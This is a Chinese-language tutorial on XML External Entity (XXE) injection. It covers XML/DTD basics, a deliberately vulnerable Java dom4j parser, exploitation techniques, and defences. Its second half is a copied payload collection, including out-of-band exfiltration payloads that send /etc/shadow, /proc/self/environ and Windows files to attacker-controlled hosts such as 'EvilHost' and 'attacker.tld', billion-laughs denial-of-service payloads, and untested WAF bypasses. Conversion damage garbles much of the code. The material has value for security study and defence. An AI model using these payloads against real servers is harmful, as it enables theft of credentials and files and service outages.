d4m1ts_2021

简介

XXE(XML External Entity Injection)全称XML外部实体注入漏洞,既然是注入,说明也是执行了我们的恶意代码。
它产生的原因是:应用程序在解析XML内容时,没有禁止外部实体的加载,导致可加载恶意外部文件;因此如果XML内容可控,那么就可造成

  1. 文件读取
  2. 命令执行(难)
  3. 内网端口扫描
  4. 攻击内网网站
  5. 发起dos攻击

等危害。
第 XX 次注射

XML基础

既然漏洞是由于解析XML引起的,那么不了解一下XML怎么行呢?
XML和HTML长得有点类似,都是基于标签的格式,但是HTML被设计用来显示数据,XML则被设计用来传输和存储数据

XML语法

  • XML 声明文件的可选部分,如果存在需要放在文档的第一行
  1. <?xml version="1.0" encoding="UTF-8" ?>
  • XML 必须包含根元素,它是所有其他元素的父元素,比如下面的userInfo元素
  1. <userInfo>
  2. <name>d4m1ts</name>
  3. <age>18</age>
  4. </userInfo>
  • 所有的 XML 元素都必须有一个关闭标签
  1. <p>paragraph</p> <!-- 后面的 </p> 不能省略 -->
  • XML 标签对大小写敏感。标签 <Letter> 与标签 <letter> 是不同的,必须使用相同的大小写来编写打开标签和关闭标签
  • 所有元素都必须彼此正确地嵌套
  1. <b><p>This text is bold and italic</b></p> <!-- 错误 -->
  2. <p><i>This text is bold and italic</i></p> <!-- 正确 -->
  • 属性都必须添加双引号,这点和HTML类似
  1. <p attr="加双引号">aa</p>
  • XML注释和HTML一样
  1. <!-- 我是注释 -->

XML DTD

DTD简介

XML DTD(Document Type Definition)文档类型定义的作用是定义 XML 文档的合法构建模块,它使用一系列合法的元素来定义文档的结构

  • 内部DOCTYPE声明

  • ```

    <!DOCTYPE root-element [element-declarations]>

  1. -

<?xml version=”1.0” encoding=”UTF-8” ?> <!DOCTYPE userInfo [ <!ELEMENT userInfo (name,age)> <!ELEMENT name (#PCDATA)> <!ELEMENT age (#PCDATA)> ]>

d4m1ts 18
  1. -
  2. 以上 DTD 解释如下:
  3. - `!DOCTYPE userInfo` (第二行)定义此文档是 **userInfo** 类型的文档。
  4. - `!ELEMENT userInfo` (第三行)定义 **userInfo** 元素有两个元素:"name、age"
  5. - `!ELEMENT name` (第四行)定义 **name** 元素为 "#PCDATA" 类型
  6. - `PCDATA` 是会被解析器解析的文本,这些文本将被解析器检查实体以及标记,文本中的标签会被当作标记来处理,而实体会被展开
  7. - `CDATA` 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
  8. -
  9. 外部`DOCTYPE`声明
  10. -

<!DOCTYPE root-element SYSTEM “filename”>

  • ``` <?xml version=”1.0”?> <!DOCTYPE note SYSTEM “note.dtd”> Tove Jani Reminder Don’t forget me this weekend!
  1. -

<!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>

  1. ![image-20211104141555074](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990489197-a0c45d77-6a16-42a8-9941-9a7661dfb3fd.png)
  2. ---
  3. XML中,有5个预定义的实体引用,这是为了防止在解析的时候,给我们输入的`<`当成标签来处理,导致异常
  4. |
  5. 实体引用
  6. | 字符
  7. |
  8. | --- | --- |
  9. |
  10. `&lt;`
  11. | <
  12. |
  13. |
  14. `&gt;`
  15. | >
  16. |
  17. |
  18. `&amp;`
  19. | &
  20. |
  21. |
  22. `&quot;`
  23. | "
  24. |
  25. |
  26. `&apos;`
  27. | '
  28. |
  29. 举例
if salary < 1000 then
  1. #### DTD实体
  2. 实体是用于**定义引用普通文本或特殊字符的快捷方式的`变量`**。
  3. -
  4. 一个内部实体声明
  5. -

<!ENTITY entity-name “entity-value”>

  1. -

<?xml version=”1.0” encoding=”UTF-8” ?> <!DOCTYPE userInfo [ <!ELEMENT userInfo (name,age)> <!ELEMENT name (#PCDATA)> <!ELEMENT age (#PCDATA)> <!ENTITY name “d4m1ts”> ]>

&name; 18
  1. -
  2. 一个外部实体声明
  3. -

<!ENTITY entity-name SYSTEM “URI/URL”>

  1. -

<!ENTITY name SYSTEM “http://baidu.com/test.dtd">

  1. ## 漏洞环境搭建
  2. 服务器解析XML出现问题,那漏洞环境就写一个可以解析XML内容的代码即可。这里我用Java中的`SAXReader`这个类的`read()`方法来触发
  3. - 依赖
  1. <!-- https://mvnrepository.com/artifact/org.dom4j/dom4j -->
  2. <dependency>
  3. <groupId>org.dom4j</groupId>
  4. <artifactId>dom4j</artifactId>
  5. <version>2.1.1</version>
  6. </dependency>
  1. - 漏洞代码

import org.dom4j.Document; import org.dom4j.DocumentException; import org.dom4j.Element; import org.dom4j.io.SAXReader;

import java.io.File;

public class Main { public static void main(String[] args) throws DocumentException { SAXReader saxReader = new SAXReader(); Document document = saxReader.read(new File(“src/main/resources/test.xml”)); Element rootElement = document.getRootElement(); System.out.println(rootElement.element(“name”).getData()); } }

  1. - test.xml

<?xml version=”1.0” encoding=”UTF-8” ?> <!DOCTYPE userInfo [ <!ELEMENT userInfo (name)> <!ELEMENT name (#PCDATA)> <!ENTITY name “d4m1ts”> ]>

&name;
  1. 后续只需要修改`test.xml`中的内容即可
  2. ## XXE基础利用
  3. 在上面加载外部实体声明的时候,可以注意到它的语法

<!ENTITY entity-name SYSTEM “URI/URL”>

  1. 可以从一个URL加载DTD,当然按照非正常的思维,允许输入URL也就相当于允许输入其他类似`http`的协议的链接,比如`file``ftp`这些,那这里岂不是至少就可能存在2个漏洞了
  2. 1. SSRF
  3. 1. 任意文件读取
  4. 各语言支持的协议如下:
  5. |
  6. LIBXML2
  7. | PHP
  8. | JAVA
  9. | .NET
  10. |
  11. | --- | --- | --- | --- |
  12. |
  13. file
  14. | file
  15. | http
  16. | file
  17. |
  18. |
  19. http
  20. | http
  21. | https
  22. | http
  23. |
  24. |
  25. ftp
  26. | ftp
  27. | ftp
  28. | https
  29. |
  30. |
  31. | php
  32. | file
  33. | ftp
  34. |
  35. |
  36. | compress.zlib
  37. | jar
  38. |
  39. |
  40. |
  41. | compress.bzip2
  42. | netdoc
  43. |
  44. |
  45. |
  46. | data
  47. | mailto
  48. |
  49. |
  50. |
  51. | glob
  52. | gopher *
  53. |
  54. |
  55. |
  56. | phar
  57. |
  58. |
  59. |
  60. 这里只介绍基础的带回显的利用方法,不带回显的可以参考下面的Payload
  61. ### 读取文件
  62. 读取`/etc/passwd`,这个明显是给`file///etc/passwd`的值赋值给`name`

<?xml version=”1.0” encoding=”UTF-8” ?> <!DOCTYPE userInfo [ <!ELEMENT userInfo (name)> <!ELEMENT name (#PCDATA)> <!ENTITY name SYSTEM “file:///etc/passwd”> ]>

&name;
  1. ### SSRF
  2. 简单的发起http请求,根据结果具体情况具体分析

<?xml version=”1.0” encoding=”UTF-8” ?> <!DOCTYPE userInfo [ <!ELEMENT userInfo (name)> <!ELEMENT name (#PCDATA)> <!ENTITY name SYSTEM “http://baidu.aaaa"> ]>

&name;
  1. ### 执行系统命令
  2. 比较鸡肋,比较难利用,要在安装`expect`扩展的`PHP环境`里执行系统命令,其他协议也有可能吧

<?xml version=”1.0” encoding=”utf-8”?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM “expect://id” >]>

&xxe;
  1. ### 拒绝服务攻击
  2. 递归引用,lol 实体具体还有 lol 字符串,然后一个 lol2 实体引用了 10 lol 实体,一个 lol3 实体引用了 10 lol2 实体,此时一个 lol3 实体就含有 10^2 lol 了,以此类推,lol9 实体含有 10^8 lol 字符串,最后再引用lol9

<?xml version=”1.0”?> <!DOCTYPE lolz [ <!ENTITY lol “lol”> <!ENTITY lol2 “&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;”> <!ENTITY lol3 “&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;”> <!ENTITY lol4 “&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;”> <!ENTITY lol5 “&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;”> <!ENTITY lol6 “&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;”> <!ENTITY lol7 “&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;”> <!ENTITY lol8 “&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;”> <!ENTITY lol9 “&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;”> ]>

&lol9;
  1. ## XInclude攻击
  2. 一些情况下,我们可能无法控制整个XML文档,也就无法完全XXE,但是我们可以控制其中一部分,这个时候就可以使用`XInclude`<br />`XInclude`XML规范的一部分,它允许从子文档构建XML文档。可以在XML文档中的任何数据值中放置`XInclude Payload`<br />要执行`XInclude`攻击,需要引用`XInclude`命名空间并提供要包含的文件的路径。例如:
  1. ## 哪些地方可能存在XXE
  2. 1. 允许上传XML文件的地方
  3. 1. 允许上传ExcelWordSVG等文件的地方(因为这些文件本质也是XML
  4. 1. 请求中`Content-Type`允许为`application/xml`的数据包(可以手动修改,比如将`application/json`中的`json`直接修改为`xml`)
  5. 1. ...
  6. 总而言之一句话:**所有能传能解析XML数据给服务端的地方,都可能存在XXE。**
  7. ## 防御
  8. 1、使用开发语言提供的禁用外部实体的方法<br />不同的类可能设置方法也不一样,具体情况具体分析。<br />php:

libxml_disable_entity_loader(true);

  1. java:

SAXReader saxReader = new SAXReader(); saxReader.setFeature(“http://apache.org/xml/features/disallow-doctype-decl“, true);

  1. Python:

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  1. 2、过滤用户提交的XML数据<br />过滤关键字:`<\!DOCTYPE``<\!ENTITY`,或者`SYSTEM``PUBLIC`。<br />3、不允许XML中含有自己定义的DTD
  2. ## Payload
  3. ### Basic
  4. #### Basic XML Example
John Doe
  1. #### Entity Example

<!DOCTYPE replace [<!ENTITY example “Doe”> ]> John &example;

  1. ### Inband Injection
  2. #### Extract data from the server

<?xml version=”1.0”?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY file SYSTEM “file:///etc/passwd”> ]> &file;

  1. ```
  2. <?xml version="1.0" encoding="ISO-8859-1"?>
  3. <!DOCTYPE foo [
  4. <!ELEMENT foo ANY >
  5. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <!DOCTYPE foo [
  3. <!ELEMENT foo ANY >
  4. <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

XXE Base64 encoded

  1. <!DOCTYPE test [
  2. <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk">
  3. %init;
  4. ]>
  5. <foo/>

PHP Wrapper inside XXE

  1. <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
  2. <contacts>
  3. <contact>
  4. <name>Jean &xxe; Dupont</name>
  5. <phone>00 11 22 33 44</phone>
  6. <adress>42 rue du CTF</adress>
  7. <zipcode>75000</zipcode>
  8. <city>Paris</city>
  9. </contact>
  10. </contacts>
  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <!DOCTYPE foo [
  3. <!ELEMENT foo ANY >
  4. <!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://attacker.com/file.php" >
  5. ]>
  6. <foo>&xxe;</foo>

OOB Injection

Vanilla, used to verify outbound xxe or blind xxe

  1. <?xml version="1.0" ?>
  2. <!DOCTYPE r [
  3. <!ELEMENT r ANY >
  4. <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
  5. ]>
  6. <r>&sp;</r>

OoB extraction1

  1. <?xml version="1.0" ?>
  2. <!DOCTYPE r [
  3. <!ELEMENT r ANY >
  4. <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
  5. %sp;
  6. %param1;
  7. ]>
  8. <r>&exfil;</r>
  • 外部实体 ``` <!ENTITY % data SYSTEM “file:///c:/windows/win.ini”> <!ENTITY % param1 “<!ENTITY exfil SYSTEM ‘http://x.x.x.x:443/?%data;'>">
  1. #### OoB variation of above (seems to work better against .NET)

<?xml version=”1.0” ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM “http://x.x.x.x:443/ev.xml"> %sp; %param1; %exfil; ]>

  1. - 外部实体

<!ENTITY % data SYSTEM “file:///c:/windows/win.ini”> <!ENTITY % param1 “<!ENTITY % exfil SYSTEM ‘http://x.x.x.x:443/?%data;'>">

  1. #### OoB extraction2

<?xml version=”1.0”?> <!DOCTYPE r [ <!ENTITY % data3 SYSTEM “file:///etc/shadow”> <!ENTITY % sp SYSTEM “http://EvilHost:port/sp.dtd"> %sp; %param3; %exfil; ]>

  1. - External dtd

<!ENTITY % param3 “<!ENTITY % exfil SYSTEM ‘ftp://Evilhost:port/%data3;’>”>

  1. #### OoB extra ERROR -- Java

<?xml version=”1.0”?> <!DOCTYPE r [ <!ENTITY % data3 SYSTEM “file:///etc/passwd”> <!ENTITY % sp SYSTEM “http://x.x.x.x:8080/ss5.dtd"> %sp; %param3; %exfil; ]>

  1. - External dtd

<!ENTITY % param1 ‘<!ENTITY % external SYSTEM “file:///nothere/%payload;”>’> %param1; %external;

  1. #### OoB XXE Base64 -- PHP

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM “http://xx.xx.xx.xx:8080/config.dtd"> %remote;%int;%send; ]>

<!ENTITY % file SYSTEM “php://filter/read=convert.base64-encode/resource=file:///flag”> <!ENTITY % int “<!ENTITY % send SYSTEM ‘http://xx.xx.xx.xx:8080/index.php?flag=%file;'>">

  1. #### OoB extra nice

<?xml version=”1.0” encoding=”utf-8”?> <!DOCTYPE root [ <!ENTITY % start “<![CDATA[“> <!ENTITY % stuff SYSTEM “file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml “> <!ENTITY % end “]]>”> <!ENTITY % dtd SYSTEM “http://evil/evil.xml"> %dtd; ]>

&all;
  1. - External dtd

<!ENTITY all “%start;%stuff;%end;”>

  1. #### File-not-found exception based extraction

<?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE test [
<!ENTITY % one SYSTEM “http://attacker.tld/dtd-part“ > %one; %two; %four; ]>

  1. - External dtd

<!ENTITY % three SYSTEM “file:///etc/passwd”> <!ENTITY % two “<!ENTITY % four SYSTEM ‘file:///%three;’>”>

  1. #### FTP

<?xml version=”1.0” ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM “http://x.x.x.x:4444/ext.dtd"> %asd; %c; ]> &rrr;

  1. - External dtd

<!ENTITY % d SYSTEM “file:///proc/self/environ”> <!ENTITY % c “<!ENTITY rrr SYSTEM ‘ftp://x.x.x.x:2121/%d;’>”>

  1. #### Inside SOAP body

<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM “http://x.x.x.x:22/"> %dtd;]>]]>

  1. #### XXE inside SVG
  1. #### Untested - WAF Bypass

<!DOCTYPE :. SYTEM “http://“ <!DOCTYPE :-: SYTEM “http://“ <!DOCTYPE {0xdfbf} SYSTEM “http://“

  1. ### DOS
  2. #### 包括一个随机的文件

<!ENTITY xxe SYSTEM “file:///dev/random” >]>

  1. #### Billion Laugh Attack - Denial Of Service

<!DOCTYPE lolz [<!ENTITY lol “lol”><!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 “&lol;&lol;&lol;&lol;&lol;&lol;&lol; <!ENTITY lol2 “&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;”> <!ENTITY lol3 “&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;”> <!ENTITY lol4 “&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;”> <!ENTITY lol5 “&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;”> <!ENTITY lol6 “&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;”> <!ENTITY lol7 “&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;”> <!ENTITY lol8 “&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;”> <!ENTITY lol9 “&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;”>

&lol9;

```

参考文章